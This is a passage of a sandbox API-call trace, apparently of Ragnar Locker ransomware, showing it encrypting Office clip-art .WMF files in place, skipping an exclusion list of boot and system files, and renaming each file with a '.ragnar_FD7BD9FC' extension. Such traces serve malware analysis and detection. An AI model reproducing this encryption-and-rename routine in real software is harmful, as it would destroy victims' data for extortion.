Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.511] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15652) returned 1 [0087.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.512] GetProcessHeap () returned 0x580000 [0087.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.512] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.513] VirtualAlloc (lpAddress=0x0, dwSize=0x3d24, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.513] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3d24, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3d24, lpOverlapped=0x0) returned 1 [0087.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.514] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d24, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.514] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3d24, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3d24, lpOverlapped=0x0) returned 1 [0087.515] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.515] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.515] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.515] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.515] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.515] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.515] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.515] GetProcessHeap () returned 0x580000 [0087.515] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.515] CloseHandle (hObject=0xf4) returned 1 [0087.516] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" [0087.516] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.ragnar_FD7BD9FC" [0087.516] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.516] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0087.516] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.516] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0297725.WMF" | out: lpString1="J0297725.WMF") returned="J0297725.WMF" [0087.516] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF") returned=".WMF" [0087.516] lstrcmpiW (lpString1="J0297725.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.516] lstrcmpiW (lpString1="J0297725.WMF", lpString2="autorun.inf") returned 1 [0087.516] lstrcmpiW (lpString1="J0297725.WMF", lpString2="boot.ini") returned 1 [0087.516] lstrcmpiW (lpString1="J0297725.WMF", lpString2="bootfont.bin") returned 1 [0087.516] lstrcmpiW (lpString1="J0297725.WMF", lpString2="bootsect.bak") returned 1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="bootmgr") returned 1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="bootmgr.efi") returned 1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="bootmgfw.efi") returned 1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="desktop.ini") returned 1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="iconcache.db") returned 1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="ntldr") returned -1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="ntuser.dat") returned -1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="ntuser.dat.log") returned -1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="ntuser.ini") returned -1 [0087.517] lstrcmpiW (lpString1="J0297725.WMF", lpString2="thumbs.db") returned -1 [0087.517] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.517] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.517] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.517] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.517] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.517] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.517] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf")) returned 0x20 [0087.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.518] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16950) returned 1 [0087.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x422d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.518] GetProcessHeap () returned 0x580000 [0087.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.518] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.520] VirtualAlloc (lpAddress=0x0, dwSize=0x4236, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.520] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4236, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4236, lpOverlapped=0x0) returned 1 [0087.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.521] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4236, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.521] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4236, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4236, lpOverlapped=0x0) returned 1 [0087.521] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4236, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.521] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4236, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.522] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.522] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.522] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.522] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.522] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.522] GetProcessHeap () returned 0x580000 [0087.522] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.522] CloseHandle (hObject=0xf4) returned 1 [0087.522] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" [0087.522] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.ragnar_FD7BD9FC" [0087.522] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.523] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0087.523] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.523] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0297727.WMF" | out: lpString1="J0297727.WMF") returned="J0297727.WMF" [0087.523] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF") returned=".WMF" [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="autorun.inf") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="boot.ini") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="bootfont.bin") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="bootsect.bak") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="bootmgr") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="bootmgr.efi") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="bootmgfw.efi") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="desktop.ini") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="iconcache.db") returned 1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="ntldr") returned -1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="ntuser.dat") returned -1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="ntuser.dat.log") returned -1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="ntuser.ini") returned -1 [0087.523] lstrcmpiW (lpString1="J0297727.WMF", lpString2="thumbs.db") returned -1 [0087.523] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.523] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.523] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.523] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.523] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.524] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.524] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf")) returned 0x20 [0087.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.524] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15516) returned 1 [0087.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.524] GetProcessHeap () returned 0x580000 [0087.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.524] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.531] VirtualAlloc (lpAddress=0x0, dwSize=0x3c9c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.531] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.531] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.531] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c9c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c9c, lpOverlapped=0x0) returned 1 [0087.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.533] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.533] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c9c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c9c, lpOverlapped=0x0) returned 1 [0087.533] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.533] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.533] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.533] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.533] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.533] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.533] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.533] GetProcessHeap () returned 0x580000 [0087.533] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.533] CloseHandle (hObject=0xf4) returned 1 [0087.534] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" [0087.534] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.ragnar_FD7BD9FC" [0087.534] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.534] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0087.534] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.534] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0297757.WMF" | out: lpString1="J0297757.WMF") returned="J0297757.WMF" [0087.534] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF") returned=".WMF" [0087.534] lstrcmpiW (lpString1="J0297757.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.534] lstrcmpiW (lpString1="J0297757.WMF", lpString2="autorun.inf") returned 1 [0087.534] lstrcmpiW (lpString1="J0297757.WMF", lpString2="boot.ini") returned 1 [0087.534] lstrcmpiW (lpString1="J0297757.WMF", lpString2="bootfont.bin") returned 1 [0087.534] lstrcmpiW (lpString1="J0297757.WMF", lpString2="bootsect.bak") returned 1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="bootmgr") returned 1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="bootmgr.efi") returned 1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="bootmgfw.efi") returned 1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="desktop.ini") returned 1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="iconcache.db") returned 1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="ntldr") returned -1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="ntuser.dat") returned -1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="ntuser.dat.log") returned -1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="ntuser.ini") returned -1 [0087.535] lstrcmpiW (lpString1="J0297757.WMF", lpString2="thumbs.db") returned -1 [0087.535] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.535] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.535] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.535] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.535] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.535] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.535] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf")) returned 0x20 [0087.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.536] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18750) returned 1 [0087.536] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4935, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.536] GetProcessHeap () returned 0x580000 [0087.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.536] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.538] VirtualAlloc (lpAddress=0x0, dwSize=0x493e, 